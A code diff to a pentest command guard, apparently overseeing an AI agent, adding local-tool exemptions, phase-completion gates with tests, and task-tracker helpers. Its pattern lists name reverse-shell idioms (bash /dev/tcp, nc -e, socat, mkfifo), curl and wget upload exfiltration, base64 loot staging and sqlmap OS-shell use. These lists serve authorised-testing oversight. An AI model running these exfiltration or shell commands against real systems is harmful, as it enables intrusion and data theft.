-100,6 +120,92 @@ TARGET_TOOLS = { "zap-baseline.py", } +# Local interpreters and shell built-ins that operate on the operator's own +# box (or run local code). They are NOT network-facing target tools, so the +# presence of a host-like token in their arguments (a directory name such as +# `engagements/10.10.10.10/...`, or a script path) must not be treated as a +# target-touching command. The guard cannot introspect inside a script, so a +# local interpreter is exempt from host scope validation and the skill-load / +# pending-sync gates — only genuine network tools (curl, nmap, ssh, nc, ...) +# remain gated. Remote/network built-ins (ssh, scp, rsync, telnet, nc, socat, +# netcat, wget) are intentionally NOT in this set so they stay target-relevant. +LOCAL_TOOLS = { + # interpreters — run local code; network targets are inside the script + "python", + "python3", + "python3.11", + "python3.14", + "py", + "perl", + "ruby", + "node", + "nodejs", + "php", + "pwsh", + "powershell", + "bash", + "sh", + "zsh", + "cmd", + "bat", + # shell built-ins / local file & navigation utilities + "cd", + "pwd", + "ls", + "cat", + "echo", + "mkdir", + "cp", + "mv", + "rm", + "export", + "source", + ".", + "set", + "unset", + "pushd", + "popd", + "dirs", + "type", + "which", + "printf", + "tee", + "touch", + "find", + "grep", + "sed", + "awk", + "sort", + "head", + "tail", + "tar", + "zip", + "unzip", + "chmod", + "chown", + "ln", + "less", + "more", +} + + +def command_leading_tool(command: str) -> str: + """Return the lowercased basename of the leading token of a command. + + Used by the enforced wrapper to decide whether a command is + target-touching (and therefore must arm the pending-sync / heartbeat + gates). A `cd`/`python3`/... leading token is a local action even when a + host-shaped path appears in its arguments. + """ + try: + tokens = shlex.split(command, posix=False) + except ValueError: + tokens = command.split() + if not tokens: + return "" + return Path(tokens[0]).name.lower() + + DANGEROUS_PATTERNS = [ (r"\bsqlmap\b.*\s--dump\b", "sqlmap data dumping is blocked by default"), (r"\bsqlmap\b.*\s--os-shell\b", "sqlmap OS shell is blocked"), @@ -112,13 +218,46 @@ DANGEROUS_PATTERNS = [ ] TIER3_PATTERNS = [ - (r"\b(hydra|medusa|patator|hashcat|john)\b", "credential attack or cracking tool requires RoE carve-out"), + ( + r"\b(hydra|medusa|patator|hashcat|john)\b", + "credential attack or cracking tool requires RoE carve-out", + ), (r"\b(masscan|zmap)\b", "high-volume scanning requires phase approval and rate limits"), (r"\b--rate\s+[1-9]\d{2,}\b", "high request rate requires approval"), (r"\b--threads\s+[5-9]\d*\b", "high concurrency requires approval"), (r"\b--forms\b|\b--crawl\b", "broad authenticated crawling requires approval"), ] +# Guard-Approved exfil channels (issue 4). These idioms are NOT blocked: they +# are the sanctioned data-movement paths documented in +# skills/pentest/playbooks/exploitation.md (reverse shells + file transfer). +# They escalate to REVIEW (exit 2) so the operator must explicitly approve the +# per-command action, but they never hard-block — a BLOCK here would force the +# operator to drop to the raw terminal (losing all guard coverage) to exfil a +# looted file, which is worse than a gated allow. The REVIEW only fires when +# the command touches a SCOPED/approved target or an attacker-controlled +# listener that the operator has declared; off-scope exfil is still blocked by +# the normal scope gate. +GUARD_APPROVED_EXFIL = [ + # Reverse shells / bind shells + (r"/dev/tcp/[\d.]+/\d+", "reverse shell via bash /dev/tcp (Guard-Approved exfil channel)"), + (r"\bnc\s+-e\b", "reverse shell via netcat -e (Guard-Approved exfil channel)"), + (r"\bnc\b.*-c\b", "reverse shell via netcat -c (Guard-Approved exfil channel)"), + (r"\bsocat\b", "socat relay / reverse shell (Guard-Approved exfil channel)"), + (r"\bmkfifo\b.*\bcat\b", "mkfifo+cat reverse shell (Guard-Approved exfil channel)"), + ( + r"\bnishang\b|\bpowercat\b|\bpowerpipe\b", + "PowerShell exfil toolkit (Guard-Approved exfil channel)", + ), + # File transfer / loot exfil + (r"\bcurl\b.*\b(-T|--upload-file)\b", "curl upload (Guard-Approved exfil channel)"), + (r"\bwget\b.*\b--post-file\b", "wget post-file exfil (Guard-Approved exfil channel)"), + (r"\bscp\b", "scp file transfer (Guard-Approved exfil channel)"), + (r"\brsync\b.*(:|\bssh\b)", "rsync over ssh transfer (Guard-Approved exfil channel)"), + (r"\bbase64\b.*(-d|-w0|-w 0)\b", "base64-encoded loot staging (Guard-Approved exfil channel)"), + (r"\bpython3?\s+-c\b.*\bsocket\b", "python socket exfil/stager (Guard-Approved exfil channel)"), +] + METADATA_TARGETS = { "169.254.169.254", "100.100.100.200", @@ -165,6 +304,22 @@ def load_yaml(path: Path) -> Any: return yaml.safe_load(handle) or {} +def merge_result(target: CheckResult, other: CheckResult, prefix: str = "") -> None: + """Merge ``other`` into ``target`` in place (deduped). + + When ``prefix`` is set, each message is prefixed (e.g. ``"skill guard: "``) + so the source gate is visible in the combined report. + """ + sep = ": " if prefix else "" + target.errors.extend( + f"{prefix}{sep}{e}" for e in other.errors if f"{prefix}{sep}{e}" not in target.errors + ) + target.warnings.extend( + f"{prefix}{sep}{w}" for w in other.warnings if f"{prefix}{sep}{w}" not in target.warnings + ) + target.infos.extend(i for i in other.infos if i not in target.infos) + + def as_list(value: Any) -> list[Any]: return value if isinstance(value, list) else [] @@ -181,8 +336,6 @@ def validate_scope_data(scope: dict[str, Any]) -> CheckResult: """ result = CheckResult() targets = scope.get("targets", {}) or {} - exclusions = scope.get("exclusions", {}) or {} - domains = [normalize_host(d) for d in as_list(targets.get("domains"))] ip_addresses = [normalize_host(i) for i in as_list(targets.get("ip_addresses"))] cidrs = as_list(targets.get("cidrs", [])) @@ -203,10 +356,14 @@ def validate_scope_data(scope: dict[str, Any]) -> CheckResult: result.add_error(f"scope invalid: cidr is not a valid network: {item}") if not hosts and not cidrs: - result.add_error("scope invalid: no targets defined in targets.domains / ip_addresses / urls") + result.add_error( + "scope invalid: no targets defined in targets.domains / ip_addresses / urls" + ) if not as_list(scope.get("authorized_parties")): - result.add_warning("scope warning: no authorized_parties listed; confirm authorization before testing") + result.add_warning( + "scope warning: no authorized_parties listed; confirm authorization before testing" + ) if not (scope.get("rules_of_engagement") or {}).get("allowed_actions"): result.add_warning("scope warning: no rules_of_engagement.allowed_actions defined") @@ -222,31 +379,53 @@ def host_from_url(value: str) -> str | None: return normalize_host(parsed.hostname or "") -def get_targets(scope: dict[str, Any]) -> tuple[set[str], set[str], list[ipaddress._BaseNetwork], set[str]]: +def get_targets( + scope: dict[str, Any], +) -> tuple[set[str], set[str], list[ipaddress._BaseNetwork], set[str]]: targets = scope.get("targets", {}) or {} - domains = {normalize_host(str(item)) for item in as_list(targets.get("domains")) if str(item).strip()} - ip_addresses = {normalize_host(str(item)) for item in as_list(targets.get("ip_addresses")) if str(item).strip()} + domains = { + normalize_host(str(item)) for item in as_list(targets.get("domains")) if str(item).strip() + } + ip_addresses = { + normalize_host(str(item)) + for item in as_list(targets.get("ip_addresses")) + if str(item).strip() + } networks: list[ipaddress._BaseNetwork] = [] for item in as_list(targets.get("cidrs")): try: networks.append(ipaddress.ip_network(str(item), strict=False)) except ValueError: continue - url_hosts = {host_from_url(str(item)) for item in as_list(targets.get("urls")) if str(item).strip()} + url_hosts = { + host_from_url(str(item)) for item in as_list(targets.get("urls")) if str(item).strip() + } return domains, ip_addresses, networks, {host for host in url_hosts if host} -def get_exclusions(scope: dict[str, Any]) -> tuple[set[str], set[str], list[ipaddress._BaseNetwork], set[str]]: +def get_exclusions( + scope: dict[str, Any], +) -> tuple[set[str], set[str], list[ipaddress._BaseNetwork], set[str]]: exclusions = scope.get("exclusions", {}) or {} - domains = {normalize_host(str(item)) for item in as_list(exclusions.get("domains")) if str(item).strip()} - ip_addresses = {normalize_host(str(item)) for item in as_list(exclusions.get("ip_addresses")) if str(item).strip()} + domains = { + normalize_host(str(item)) + for item in as_list(exclusions.get("domains")) + if str(item).strip() + } + ip_addresses = { + normalize_host(str(item)) + for item in as_list(exclusions.get("ip_addresses")) + if str(item).strip() + } networks: list[ipaddress._BaseNetwork] = [] for item in as_list(exclusions.get("cidrs")): try: networks.append(ipaddress.ip_network(str(item), strict=False)) except ValueError: continue - url_hosts = {host_from_url(str(item)) for item in as_list(exclusions.get("urls")) if str(item).strip()} + url_hosts = { + host_from_url(str(item)) for item in as_list(exclusions.get("urls")) if str(item).strip() + } return domains, ip_addresses, networks, {host for host in url_hosts if host} diff --git a/scripts/guard/freshness.py b/scripts/guard/freshness.py index 088fe18..edee601 100644 --- a/scripts/guard/freshness.py +++ b/scripts/guard/freshness.py @@ -10,7 +10,8 @@ Nimbus-class failure the guard exists to prevent. from __future__ import annotations -from datetime import datetime, timedelta +import re +from datetime import datetime from pathlib import Path from guard.core import CheckResult @@ -47,11 +48,17 @@ def check_skill_load_gate( marker = Path(skill_loaded_file) if skill_loaded_file else None if not marker or not marker.exists() or not marker.is_file(): if mandatory: - result.add_error("skill load gate: SKILL.md not marked loaded for this session — load it before any target command") + result.add_error( + "skill load gate: SKILL.md not marked loaded for this session — load it before any target command" + ) result.add_info("load with: read_file path=skills/pentest/SKILL.md") - result.add_info("then run: python scripts/violin_guard.py check-skill-loaded --eng-dir \"$ENG_DIR\" --session-id \"\"") + result.add_info( + 'then run: python scripts/violin_guard.py check-skill-loaded --eng-dir "$ENG_DIR" --session-id ""' + ) else: - result.add_warning("skill load gate: no --skill-loaded-file/--session-id passed; SKILL.md load not verified") + result.add_warning( + "skill load gate: no --skill-loaded-file/--session-id passed; SKILL.md load not verified" + ) return result ts = _parse_ts_from_mtime(marker) if ts is not None and _age_hours(ts) > max_age_hours: @@ -77,7 +84,9 @@ def check_ptt_freshness( result = CheckResult() if not ptt_path.exists() or not ptt_path.is_file(): result.add_error(f"PTT missing: {ptt_path}") - result.add_info("bootstrap with: cp skills/pentest/templates/ptt.md \"$ENG_DIR/state/ptt.md\"") + result.add_info( + 'bootstrap with: cp skills/pentest/templates/ptt.md "$ENG_DIR/state/ptt.md"' + ) return result text = ptt_path.read_text(encoding="utf-8", errors="replace") @@ -87,7 +96,7 @@ def check_ptt_freshness( last_updated = None for line in lines: if "last updated" in line.lower(): - m = __import__("re").search(_TS_PATTERN, line) + m = re.search(_TS_PATTERN, line) if m: last_updated = _parse_ts(m.group(1)) break @@ -102,7 +111,6 @@ def check_ptt_freshness( # 2) Desync: earlier phases all [ ] while later phases have recorded progress. any_done = any(f" {marker} " in text for marker in ("[x]", "[~]", "[!]", "[-]")) if any_done and phase in {"EXPLOITATION", "REPORTING", "RETROSPECTIVE"}: - import re phase_sections: list[tuple[str, list[str]]] = [] current = None rows: list[str] = [] @@ -138,10 +146,11 @@ def check_hypotheses_freshness( result = CheckResult() if not hyp_path.exists() or not hyp_path.is_file(): result.add_error(f"hypotheses.md missing: {hyp_path}") - result.add_info("bootstrap with: cp skills/pentest/templates/hypothesis-board.md \"$ENG_DIR/hypotheses.md\"") + result.add_info( + 'bootstrap with: cp skills/pentest/templates/hypothesis-board.md "$ENG_DIR/hypotheses.md"' + ) return result - import re text = hyp_path.read_text(encoding="utf-8", errors="replace") # Split into H-XXX blocks (Active Theories + Resolved Theories) blocks = re.split(r"^###\s+(H-\d+):", text, flags=re.MULTILINE) @@ -155,7 +164,6 @@ def check_hypotheses_freshness( return m.group(1).strip() if m else "" stale_entries = 0 - contradiction = False for hid, body in entries: status = field(body, "Status") updated = field(body, "Updated") @@ -165,20 +173,25 @@ def check_hypotheses_freshness( result.add_warning(f"hypothesis {hid} is {status} but has no 'Updated' timestamp") stale_entries += 1 elif _age_hours(ts) > max_age_hours: - result.add_warning(f"hypothesis {hid} ({status}) last updated {_age_hours(ts):.0f}h ago (>{max_age_hours}h)") + result.add_warning( + f"hypothesis {hid} ({status}) last updated {_age_hours(ts):.0f}h ago (>{max_age_hours}h)" + ) stale_entries += 1 if status == "Candidate": linked = field(body, "Linked findings") if linked and linked.upper().startswith("FIND-"): - result.add_warning(f"hypothesis {hid} is Candidate but already links {linked} — promote to Validated/Rejected") - contradiction = True + result.add_warning( + f"hypothesis {hid} is Candidate but already links {linked} — promote to Validated/Rejected" + ) if phase in {"REPORTING", "RETROSPECTIVE"}: resolved = re.search(r"##\s+Resolved Theories", text) if resolved: - tail = text[resolved.start():] + tail = text[resolved.start() :] if not re.search(r"H-\d+:", tail): - result.add_warning("hypotheses.md 'Resolved Theories' is empty at reporting time — record validated/rejected theories") + result.add_warning( + "hypotheses.md 'Resolved Theories' is empty at reporting time — record validated/rejected theories" + ) return result @@ -193,8 +206,12 @@ def check_findings_freshness(eng_dir: Path, phase: str) -> CheckResult: ] found = [p for p in candidates if p.exists() and p.is_file()] if not found: - result.add_warning("no findings file found (e.g. evidence/vuln-research/findings.md) — record findings as they emerge") + result.add_warning( + "no findings file found (e.g. evidence/vuln-research/findings.md) — record findings as they emerge" + ) return result if all(p.read_text(encoding="utf-8", errors="replace").strip() == "" for p in found): - result.add_warning("findings file exists but is empty — populate it as findings are validated") + result.add_warning( + "findings file exists but is empty — populate it as findings are validated" + ) return result diff --git a/scripts/guard/phase_gate.py b/scripts/guard/phase_gate.py new file mode 100644 index 0000000..eaa8be0 --- /dev/null +++ b/scripts/guard/phase_gate.py @@ -0,0 +1,158 @@ +"""Pure phase-completion checks for Violin engagements. + +The gate reads engagement artifacts only. It never blocks target activity; callers +apply it when advancing a phase or closing an engagement. +""" + +from __future__ import annotations + +import json +import re +from pathlib import Path +from typing import TypeAlias + +Pathish: TypeAlias = str | Path + +PHASE_ORDER = [ + "SCOPING", + "RECON", + "VULN_RESEARCH", + "EXPLOITATION", + "REPORTING", + "RETROSPECTIVE", +] + +# A directory requirement means at least one nested regular file with >=1 byte. +# Reports are intentionally non-trivial rather than empty/stub placeholders. +REQUIRED: dict[str, list[tuple[str, int]]] = { + "SCOPING": [ + ("scope/scope.yaml", 1), + ("scope/authorization.md", 1), + ("state/ptt.md", 1), + ("hypotheses.md", 1), + ], + "RECON": [("evidence/recon", 1)], + "VULN_RESEARCH": [("evidence/vuln-research", 1)], + "EXPLOITATION": [("evidence/exploitation", 1)], + "REPORTING": [("evidence/reporting/report.md", 50)], + "RETROSPECTIVE": [ + ("evidence/retrospective/retrospective.md", 50), + ("state/phase-summary.md", 1), + ("state/checkpoint.json", 1), + ], +} + +_PTT_PHASE_RE = re.compile(r"^##\s+Phase:\s*(.+?)\s*$", re.MULTILINE | re.IGNORECASE) +_PTT_ROW_RE = re.compile(r"^\|\s*PT-\d+\s*\|\s*\[([ x~!\-])\]", re.MULTILINE) +_VALIDATED_RE = re.compile( + r"^\s*-\s*\*\*Status:\*\*\s*(?:Validated|Verified)\b", + re.MULTILINE | re.IGNORECASE, +) + + +def normalize_phase(phase: str) -> str: + """Return the canonical underscore-separated phase name.""" + return re.sub(r"[\s-]+", "_", (phase or "").strip().upper()) + + +def _exists_nonempty(eng_dir: Path, rel: str, min_bytes: int) -> bool: + path = eng_dir / rel + if path.is_dir(): + try: + return any( + item.is_file() and item.stat().st_size >= min_bytes for item in path.rglob("*") + ) + except OSError: + return False + try: + return path.is_file() and path.stat().st_size >= min_bytes + except OSError: + return False + + +def _has_validated_hypothesis(eng_dir: Path) -> bool: + path = eng_dir / "hypotheses.md" + if not path.is_file(): + return False + try: + return bool(_VALIDATED_RE.search(path.read_text(encoding="utf-8", errors="replace"))) + except OSError: + return False + + +def check_phase_gate(eng_dir: Pathish, phase: str) -> tuple[bool, list[str]]: + """Return whether ``phase`` has all mandatory deliverables and any gaps.""" + eng = Path(eng_dir) + if not eng.is_dir(): + return False, [""] + + canonical = normalize_phase(phase) + if canonical not in REQUIRED: + return False, [f"unknown phase '{canonical}'"] + + missing = [ + rel for rel, min_bytes in REQUIRED[canonical] if not _exists_nonempty(eng, rel, min_bytes) + ] + + if canonical == "EXPLOITATION" and not _has_validated_hypothesis(eng): + missing.append("hypotheses.md#status!=Validated/Verified") + + if canonical == "RETROSPECTIVE": + checkpoint = eng / "state/checkpoint.json" + if checkpoint.is_file(): + try: + data = json.loads(checkpoint.read_text(encoding="utf-8")) + if not isinstance(data, dict) or data.get("status") != "COMPLETE": + missing.append("state/checkpoint.json#status!=COMPLETE") + except (OSError, UnicodeError, json.JSONDecodeError): + missing.append("state/checkpoint.json#unparseable") + + return not missing, missing + + +def check_all_phase_gates(eng_dir: Pathish) -> list[tuple[str, list[str]]]: + """Return every phase whose completion gate is not satisfied.""" + failed: list[tuple[str, list[str]]] = [] + for phase in PHASE_ORDER: + ok, missing = check_phase_gate(eng_dir, phase) + if not ok: + failed.append((phase, missing)) + return failed + + +def _ptt_phase_statuses(eng_dir: Pathish) -> dict[str, list[str]]: + path = Path(eng_dir) / "state/ptt.md" + if not path.is_file(): + return {} + try: + text = path.read_text(encoding="utf-8", errors="replace") + except OSError: + return {} + + matches = list(_PTT_PHASE_RE.finditer(text)) + sections: dict[str, list[str]] = {} + for index, match in enumerate(matches): + phase = normalize_phase(match.group(1)) + end = matches[index + 1].start() if index + 1 < len(matches) else len(text) + sections[phase] = _PTT_ROW_RE.findall(text[match.end() : end]) + return sections + + +def closure_requested_from_ptt(eng_dir: Pathish) -> bool: + """True only when all REPORTING and RETROSPECTIVE PTT rows are ``[x]``.""" + sections = _ptt_phase_statuses(eng_dir) + for phase in ("REPORTING", "RETROSPECTIVE"): + statuses = sections.get(phase, []) + if not statuses or any(status.lower() != "x" for status in statuses): + return False + return True + + +def current_phase_from_ptt(eng_dir: Pathish) -> str: + """Derive the earliest phase with unfinished PTT work, best-effort.""" + sections = _ptt_phase_statuses(eng_dir) + for phase in PHASE_ORDER: + statuses = sections.get(phase) + if not statuses or any(status.lower() not in {"x", "-"} for status in statuses): + return phase + return PHASE_ORDER[-1] diff --git a/scripts/guard/phase_gate_test.py b/scripts/guard/phase_gate_test.py new file mode 100644 index 0000000..82ada2c --- /dev/null +++ b/scripts/guard/phase_gate_test.py @@ -0,0 +1,186 @@ +"""Tests for the engagement phase-completion gate.""" + +from __future__ import annotations + +import argparse +import json +from pathlib import Path + +import pytest +import violin_guard as cli + +from guard.phase_gate import ( + PHASE_ORDER, + check_phase_gate, + closure_requested_from_ptt, +) + + +@pytest.fixture +def eng(tmp_path: Path) -> Path: + path = tmp_path / "eng" + path.mkdir() + return path + + +def _write(path: Path, content: str = "x") -> None: + path.parent.mkdir(parents=True, exist_ok=True) + path.write_text(content, encoding="utf-8") + + +def _complete_engagement(eng: Path) -> None: + _write(eng / "scope/scope.yaml") + _write(eng / "scope/authorization.md") + _write(eng / "state/ptt.md", _closed_ptt()) + _write(eng / "hypotheses.md", "- **Status:** Validated\n") + _write(eng / "evidence/recon/nmap.txt") + _write(eng / "evidence/vuln-research/research.md") + _write(eng / "evidence/exploitation/proof.txt") + _write(eng / "evidence/reporting/report.md", "# Report\n" + "finding evidence " * 5) + _write( + eng / "evidence/retrospective/retrospective.md", + "# Retrospective\n" + "lesson learned " * 5, + ) + _write(eng / "state/phase-summary.md") + _write(eng / "state/checkpoint.json", json.dumps({"status": "COMPLETE"})) + + +def _closed_ptt() -> str: + return """## Phase: REPORTING +| PT-050 | [x] | Evidence review | evidence | +| PT-051 | [x] | Fill report | evidence | + +## Phase: RETROSPECTIVE +| PT-060 | [x] | Gap analysis | evidence | +| PT-061 | [x] | Lessons | evidence | +""" + + +def test_scope_files_required(eng: Path) -> None: + ok, missing = check_phase_gate(eng, "SCOPING") + assert not ok + assert "scope/scope.yaml" in missing + + +def test_reporting_requires_nontrivial_report(eng: Path) -> None: + _write(eng / "evidence/reporting/report.md", "short") + ok, missing = check_phase_gate(eng, "REPORTING") + assert not ok + assert "evidence/reporting/report.md" in missing + + _write(eng / "evidence/reporting/report.md", "# Report\n" + "finding evidence " * 5) + assert check_phase_gate(eng, "REPORTING") == (True, []) + + +def test_retrospective_requires_all_transition_artifacts(eng: Path) -> None: + ok, missing = check_phase_gate(eng, "RETROSPECTIVE") + assert not ok + assert "evidence/retrospective/retrospective.md" in missing + assert "state/phase-summary.md" in missing + assert "state/checkpoint.json" in missing + + +def test_retrospective_passes_when_complete(eng: Path) -> None: + _write( + eng / "evidence/retrospective/retrospective.md", + "# Retrospective\n" + "lesson learned " * 5, + ) + _write(eng / "state/phase-summary.md") + _write(eng / "state/checkpoint.json", json.dumps({"status": "COMPLETE"})) + assert check_phase_gate(eng, "RETROSPECTIVE") == (True, []) + + +def test_checkpoint_status_must_be_complete(eng: Path) -> None: + _write( + eng / "evidence/retrospective/retrospective.md", + "# Retrospective\n" + "lesson learned " * 5, + ) + _write(eng / "state/phase-summary.md") + _write(eng / "state/checkpoint.json", json.dumps({"status": "WIP"})) + ok, missing = check_phase_gate(eng, "RETROSPECTIVE") + assert not ok + assert "state/checkpoint.json#status!=COMPLETE" in missing + + +def test_directory_phase_needs_a_nonempty_file(eng: Path) -> None: + (eng / "evidence/recon").mkdir(parents=True) + ok, missing = check_phase_gate(eng, "RECON") + assert not ok + assert "evidence/recon" in missing + + _write(eng / "evidence/recon/nested/nmap.txt") + assert check_phase_gate(eng, "RECON") == (True, []) + + +def test_exploitation_requires_validated_hypothesis(eng: Path) -> None: + _write(eng / "evidence/exploitation/proof.txt") + _write(eng / "hypotheses.md", "- **Status:** Likely\n") + ok, missing = check_phase_gate(eng, "EXPLOITATION") + assert not ok + assert "hypotheses.md#status!=Validated/Verified" in missing + + _write(eng / "hypotheses.md", "- **Status:** Verified\n") + assert check_phase_gate(eng, "EXPLOITATION") == (True, []) + + +def test_reporting_and_retrospective_rows_trigger_closure_gate(eng: Path) -> None: + _write(eng / "state/ptt.md", _closed_ptt()) + assert closure_requested_from_ptt(eng) + + _write( + eng / "state/ptt.md", + _closed_ptt().replace("| PT-061 | [x]", "| PT-061 | [ ]"), + ) + assert not closure_requested_from_ptt(eng) + + +def test_check_phase_gate_cli_returns_one_and_lists_missing(eng: Path, capsys) -> None: + rc = cli.cmd_check_phase_gate(argparse.Namespace(eng_dir=str(eng), phase="REPORTING")) + output = capsys.readouterr().out + assert rc == 1 + assert "REVIEW: phase gate not satisfied for REPORTING" in output + assert "MISSING: evidence/reporting/report.md" in output + + +def test_close_cli_checks_every_phase(eng: Path, capsys) -> None: + rc = cli.cmd_close(argparse.Namespace(eng_dir=str(eng))) + output = capsys.readouterr().out + assert rc == 1 + for phase in PHASE_ORDER: + assert f" {phase}:" in output + + _complete_engagement(eng) + assert cli.cmd_close(argparse.Namespace(eng_dir=str(eng))) == 0 + + +def test_sync_done_reviews_closure_gaps_without_clearing_lock( + eng: Path, monkeypatch, capsys +) -> None: + _write(eng / "state/ptt.md", _closed_ptt()) + _write(eng / "state/history.md", "history") + cli.sync_state.mark_pending_sync(str(eng), "command", "retrospective") + monkeypatch.setattr(cli.sync_state, "artifacts_are_fresh", lambda *_: True) + + rc = cli.cmd_sync_done(argparse.Namespace(eng_dir=str(eng), close=False)) + output = capsys.readouterr().out + assert rc == 2 + assert "REVIEW: engagement closure blocked" in output + assert "evidence/reporting/report.md" in output + assert cli.sync_state.has_pending_sync(str(eng)) is not None + + +def test_sync_done_clears_lock_after_all_phase_gates_pass(eng: Path, monkeypatch) -> None: + _complete_engagement(eng) + _write(eng / "state/history.md", "history") + cli.sync_state.mark_pending_sync(str(eng), "command", "retrospective") + monkeypatch.setattr(cli.sync_state, "artifacts_are_fresh", lambda *_: True) + + rc = cli.cmd_sync_done(argparse.Namespace(eng_dir=str(eng), close=False)) + assert rc == 0 + assert cli.sync_state.has_pending_sync(str(eng)) is None + + +def test_sync_done_close_flag_checks_gate_without_pending_lock(eng: Path, capsys) -> None: + rc = cli.cmd_sync_done(argparse.Namespace(eng_dir=str(eng), close=True)) + assert rc == 2 + assert "REVIEW: engagement closure blocked" in capsys.readouterr().out diff --git a/scripts/guard/record.py b/scripts/guard/record.py index eb43d38..8a9ddde 100644 --- a/scripts/guard/record.py +++ b/scripts/guard/record.py @@ -4,7 +4,7 @@ from __future__ import annotations import argparse import re -from datetime import datetime, timezone +from datetime import UTC, datetime from pathlib import Path from guard.core import CheckResult @@ -24,6 +24,130 @@ def _find_ptt_row(lines: list[str], pt_id: str) -> tuple[int, re.Match] | None: return None +# Phase inference from PT-XXX numeric prefix (matches ptt.md ID ranges). +_PHASE_PREFIX_RANGES = [ + ("SCOPING", 1, 9), + ("RECON", 10, 29), + ("VULN RESEARCH", 30, 39), + ("EXPLOITATION", 40, 49), + ("REPORTING", 50, 59), + ("RETROSPECTIVE", 60, 69), +] +# Special section for out-of-range / ad-hoc ids (template already ships it). +_BLOCKED_SECTION = "BLOCKED" # -> "## Blocked / Deferred Tasks" + +# Default table headers per section (used when a phase section must be created). +_DEFAULT_PHASE_HEADERS = { + "EXPLOITATION": "| ID | Status | Task | Hypothesis | Validation Cmd | Auto-Patch | Evidence / Notes |", + "BLOCKED": "| ID | Status | Task | Reason | Resolution Path |", +} +_DEFAULT_PHASE_HEADER = "| ID | Status | Task | Evidence / Notes |" + + +def _infer_phase(pt_id: str) -> str: + """Map a PT-XXX id to its phase section name (or BLOCKED for out-of-range).""" + num = int(pt_id.split("-")[1]) + for name, lo, hi in _PHASE_PREFIX_RANGES: + if lo <= num <= hi: + return name + return _BLOCKED_SECTION + + +def _section_header_for(phase: str) -> str: + return "## Blocked / Deferred Tasks" if phase == _BLOCKED_SECTION else f"## Phase: {phase}" + + +def _phase_data_cols(header_line: str) -> int: + """Count data columns in a markdown table header row.""" + return len(header_line.split("|")[1:-1]) + + +def _ensure_phase_section(lines: list[str], phase: str) -> tuple[int, int]: + """Return (insert_index, data_cols) for a new row in ``phase``. + + If the section does not exist, it is created (with a default header) at a + sensible location: immediately before ``## Blocked / Deferred Tasks`` if + present, otherwise before the ``*Last updated`` footer, otherwise appended + at the end. The returned index is where the new data row should be inserted. + """ + phase = phase.upper() + header_target = _section_header_for(phase) + + # 1) Existing section? + for i, line in enumerate(lines): + if line.strip().startswith(header_target): + header_idx = None + for j in range(i + 1, min(i + 6, len(lines))): + if lines[j].lstrip().startswith("|") and "ID" in lines[j]: + header_idx = j + break + if header_idx is None: + break + data_cols = _phase_data_cols(lines[header_idx]) + # The table header separator is a `|----|` row; the section-closing + # separator is a bare `---` line. Insert the new row *inside* the + # table, just before the section-closing `---` (falling back to the + # end of the table body if no closing `---` exists). + header_sep_idx = None + close_sep_idx = None + for j in range(header_idx + 1, len(lines)): + if header_sep_idx is None and lines[j].lstrip().startswith("|----"): + header_sep_idx = j + elif header_sep_idx is not None and lines[j].strip() == "---": + close_sep_idx = j + break + if close_sep_idx is not None: + insert_idx = close_sep_idx + elif header_sep_idx is not None: + # No closing `---`: insert after the last table body row. + insert_idx = header_sep_idx + 1 + while insert_idx < len(lines) and ( + lines[insert_idx].lstrip().startswith("|") or lines[insert_idx].strip() == "" + ): + insert_idx += 1 + else: + insert_idx = header_idx + 1 + return insert_idx, data_cols + + # 2) Create the section. + default_header = _DEFAULT_PHASE_HEADERS.get(phase, _DEFAULT_PHASE_HEADER) + data_cols = _phase_data_cols(default_header) + sep = "|" + "---|" * data_cols + block = [header_target + "\n", "\n", default_header + "\n", sep + "\n"] + + # Insert before "## Blocked / Deferred Tasks", else before footer, else append. + pos = len(lines) + for i, line in enumerate(lines): + if line.strip().startswith("## Blocked / Deferred Tasks"): + pos = i + break + else: + for i, line in enumerate(lines): + if line.lstrip().startswith("*Last updated"): + pos = i + break + lines[pos:pos] = block + # New row goes right after the separator line we just inserted. + return pos + len(block), data_cols + + +def _list_phases_and_next_ids(lines: list[str]) -> str: + """Build a helpful hint listing phases and the next free PT id per phase.""" + hints = [] + for name, lo, hi in _PHASE_PREFIX_RANGES: + used = set() + for line in lines: + m = _PTT_ROW_RE.match(line) + if m and lo <= int(m.group(2).split("-")[1]) <= hi: + used.add(int(m.group(2).split("-")[1])) + nxt = next((n for n in range(lo, hi + 1) if n not in used), None) + span = f"{lo:03d}-{hi:03d}" + hints.append( + f"{name} (PT-{span})" + (f" -> next free: PT-{nxt:03d}" if nxt else " -> full") + ) + return "; ".join(hints) + + def _ptt_is_stale(ptt_path: Path) -> bool: """A PTT is 'stale' if every PT-XXX row is still in the pristine [ ] state (i.e. no task has ever been touched). Used by check-bootstrap at session @@ -39,22 +163,38 @@ def _ptt_is_stale(ptt_path: Path) -> bool: def record_ptt(args: argparse.Namespace) -> int: - """Update a PT-XXX row in the PTT: change its status marker and append a - note to the Evidence / Notes column. Also bumps the 'Last updated' footer. + """Update or create a PT-XXX row in the PTT. - Required: --eng-dir, --id (PT-XXX), --status (one of [ ] [~] [x] [!] [-]) - Optional: --note (one-line result; appended to the Evidence column) + Status update mode (default): change an existing row's status marker and + append a note to the Evidence / Notes column. + + Create mode (``--create``): insert a brand-new task row. Used when the + requested PT-XXX id is not present in the PTT (e.g. a freshly discovered + task like PT-070 that falls outside the bootstrap template). The phase is + inferred from the PT-XXX numeric prefix unless ``--phase`` is given, and + the target section is created on the fly if missing. Requires ``--task``. + + Required: --eng-dir, --id (PT-XXX) + Status mode also requires: --status (one of [ ] [~] [x] [!] [-]) + Create mode also requires: --create and --task "" + Optional: --note, --phase (override inference), --evidence "" Exit codes: - 0 = row updated - 1 = PTT missing, PT-XXX not found, or invalid status marker + 0 = row updated or created + 1 = PTT missing, invalid id/status, missing --task in create mode, + or other failure """ result = CheckResult() eng_dir = Path(args.eng_dir or "") ptt_path = eng_dir / "state" / "ptt.md" + create = bool(getattr(args, "create", False)) pt_id = (args.id or "").strip().upper() - new_status_raw = (args.status or "").strip() + # Keep None distinct (so --create without --status defaults to [ ]) by not + # collapsing via `or ""` here; only strip when a value was supplied. + new_status_raw = (args.status or "").strip() if getattr(args, "status", None) else None note = (args.note or "").strip() + task_text = (args.task or "").strip() + phase_override = (getattr(args, "phase", "") or "").strip().upper() if not eng_dir.exists(): result.add_error(f"engagement directory not found: {eng_dir}") @@ -62,17 +202,23 @@ def record_ptt(args: argparse.Namespace) -> int: return 1 if not ptt_path.exists() or not ptt_path.is_file(): result.add_error(f"PTT not found (or is a directory): {ptt_path}") - result.add_info("bootstrap with: cp skills/pentest/templates/ptt.md 